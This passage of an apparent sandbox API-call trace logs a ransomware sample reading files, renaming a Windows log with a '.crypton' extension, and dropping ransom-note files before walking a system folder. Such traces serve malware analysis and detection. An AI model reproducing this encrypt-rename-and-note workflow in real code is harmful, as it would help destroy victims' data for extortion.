hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x48e, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x486, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x47e, lpOverlapped=0x0) returned 1 [0252.936] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x476, lpOverlapped=0x0) returned 1 [0252.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x46e, lpOverlapped=0x0) returned 1 [0252.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x466, lpOverlapped=0x0) returned 1 [0252.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x45e, lpOverlapped=0x0) returned 1 [0252.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x456, lpOverlapped=0x0) returned 1 [0252.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x44e, lpOverlapped=0x0) returned 1 [0252.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x446, lpOverlapped=0x0) returned 1 [0252.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x43e, lpOverlapped=0x0) returned 1 [0252.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x436, lpOverlapped=0x0) returned 1 [0252.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x42e, lpOverlapped=0x0) returned 1 [0252.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x426, lpOverlapped=0x0) returned 1 [0252.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x41e, lpOverlapped=0x0) returned 1 [0252.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x416, lpOverlapped=0x0) returned 1 [0252.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x40e, lpOverlapped=0x0) returned 1 [0252.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x406, lpOverlapped=0x0) returned 1 [0252.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3fe, lpOverlapped=0x0) returned 1 [0252.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3f6, lpOverlapped=0x0) returned 1 [0252.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3ee, lpOverlapped=0x0) returned 1 [0252.938] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3e6, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3de, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3d6, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3ce, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3c6, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3be, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3b6, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3ae, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x3a6, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x39e, lpOverlapped=0x0) returned 1 [0252.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x396, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x38e, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x386, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x37e, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x376, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x36e, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x366, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x35e, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x356, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x34e, lpOverlapped=0x0) returned 1 [0252.940] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x346, lpOverlapped=0x0) returned 1 [0252.941] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x33e, lpOverlapped=0x0) returned 1 [0252.941] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x336, lpOverlapped=0x0) returned 1 [0252.941] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x32e, lpOverlapped=0x0) returned 1 [0252.941] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0x326, lpOverlapped=0x0) returned 1 [0252.943] MoveFileExW (lpExistingFileName="C:\\\\Windows\\DtcInstall.log" (normalized: "c:\\windows\\dtcinstall.log"), lpNewFileName="C:\\\\Windows\\DtcInstall.log.crypton" (normalized: "c:\\windows\\dtcinstall.log.crypton"), dwFlags=0x2) returned 1 [0252.944] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0252.944] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5497d0 | out: hHeap=0x510000) returned 1 [0252.944] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.944] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5433e0 | out: hHeap=0x510000) returned 1 [0252.944] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0252.945] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0252.945] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.945] AreFileApisANSI () returned 1 [0252.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5434a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0252.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x36) returned 0x5497d0 [0252.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5434a8, cbMultiByte=-1, lpWideCharStr=0x5497d0, cchWideChar=27 | out: lpWideCharStr="C:\\\\Windows\\DtcInstall.log") returned 27 [0252.945] CreateFileW (lpFileName="C:\\\\Windows\\DtcInstall.log" (normalized: "c:\\windows\\dtcinstall.log"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0252.945] GetLastError () returned 0x2 [0252.945] AreFileApisANSI () returned 1 [0252.945] GetFullPathNameW (in: lpFileName="C:\\\\Windows\\DtcInstall.log", nBufferLength=0x104, lpBuffer=0x4acdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\DtcInstall.log", lpFilePart=0x0) returned 0x19 [0252.945] GetLastError () returned 0x2 [0252.945] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehome", cAlternateFileName="")) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5433e0 [0252.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5433b8 [0252.945] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5433e0 | out: hHeap=0x510000) returned 1 [0252.945] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5433b8 | out: hHeap=0x510000) returned 1 [0252.945] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x597e58 [0252.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5433b8 [0252.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.945] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5433b8 | out: hHeap=0x510000) returned 1 [0252.946] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0252.946] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0252.946] AreFileApisANSI () returned 1 [0252.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0252.946] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e) returned 0x55ae28 [0252.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x55ae28, cchWideChar=47 | out: lpWideCharStr="C:\\\\Windows\\ehome\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 47 [0252.946] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\windows\\ehome\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0252.947] GetFileType (hFile=0x1f4) returned 0x1 [0252.948] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0252.949] AreFileApisANSI () returned 1 [0252.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0252.949] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0252.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x55ae28, cchWideChar=48 | out: lpWideCharStr="C:\\\\Windows\\ehome\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 48 [0252.949] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\windows\\ehome\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0252.950] GetFileType (hFile=0x1f4) returned 0x1 [0252.950] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0252.951] AreFileApisANSI () returned 1 [0252.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0252.951] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e) returned 0x55ae28 [0252.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x55ae28, cchWideChar=47 | out: lpWideCharStr="C:\\\\Windows\\ehome\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 47 [0252.951] CreateFileW (lpFileName="C:\\\\Windows\\ehome\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\windows\\ehome\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0252.953] GetFileType (hFile=0x1f4) returned 0x1 [0252.953] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0252.954] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1421e320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.954] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1421e320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0252.954] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141f81c0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x141f81c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0252.954] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.954] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.954] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.954] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.954] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.954] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.954] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1421e320, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1421e320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0252.954] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.954] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.955] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1421e320, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1421e320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1421e320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.955] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa306cc2b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa306cc2b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3092d8b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3ce00, dwReserved0=0x0, dwReserved1=0x3, cFileName="BDATunePIA.dll", cAlternateFileName="")) returned 1 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.955] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3092d8b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3092d8b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa30b8eec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x63c00, dwReserved0=0x0, dwReserved1=0x3, cFileName="BmlDataCarousel.dll", cAlternateFileName="")) returned 1 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd80 [0252.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0252.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0252.955] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, 